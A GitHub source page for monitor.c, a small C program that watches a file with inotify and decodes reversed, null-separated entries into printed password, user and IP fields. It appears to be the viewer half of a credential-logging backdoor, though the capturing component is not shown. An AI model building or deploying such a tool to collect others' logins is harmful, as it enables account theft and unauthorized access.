-
Notifications
You must be signed in to change notification settings - Fork 25
/
monitor.c
125 lines (96 loc) · 1.79 KB
/
monitor.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include <sys/inotify.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <poll.h>
#include <string.h>
#include <errno.h>
static const char *fields[]={
"password",
"user",
"ip"
};
int wait_file(const char *filename)
{
int fd;
while ((fd = open(filename, O_RDONLY)) == -1) {
if (errno != ENOENT) {
printf("can't open %s - %s\n", filename, strerror(errno));
exit(1);
}
sleep(1);
}
return fd;
}
void strrev(char *str, int len)
{
char aux;
int i;
for (i = 0; i < len/2; i++) {
aux = str[i];
str[i] = str[len - i - 1];
str[len - i - 1] = aux;
}
}
void get_creds(char *data, int n)
{
static int size, type, j;
static char *buf;
if (data == NULL && buf) {
strrev(buf, j);
j = 0;
printf("%s=%s\n", fields[type], buf);
type = (type + 1) % 3;
return;
}
for (int i = 0; i < n; i++) {
if (data[i] == 0x0 && j) {
strrev(buf, j);
j = 0;
printf("%s=%s\n", fields[type], buf);
type = (type + 1) % 3;
}
if (j >= size) {
size += 128;
buf = realloc(buf, size);
}
buf[j++] = data[i];
}
}
int main(int argc, char **argv)
{
struct inotify_event event;
struct pollfd pfd;
char buf[8192];
ssize_t n;
int fd, nfd;
if (argc != 2) {
printf("monitor [filename]\n");
return 1;
}
fd = wait_file(argv[1]);
nfd = inotify_init();
inotify_add_watch(nfd, argv[1], IN_MODIFY);
pfd.fd = nfd;
pfd.events = POLLIN;
goto print_creds;
while (poll(&pfd, 1, -1) != -1) {
if (read(nfd, &event, sizeof(event)) != sizeof(event)){
perror("read()");
return 1;
}
if (!(event.mask & IN_MODIFY)) {
perror("invalid event ...");
return 1;
}
print_creds:
while ((n = read(fd, buf, sizeof(buf))) > 0) {
get_creds(buf, n);
}
get_creds(NULL, 0);
}
return 0;
}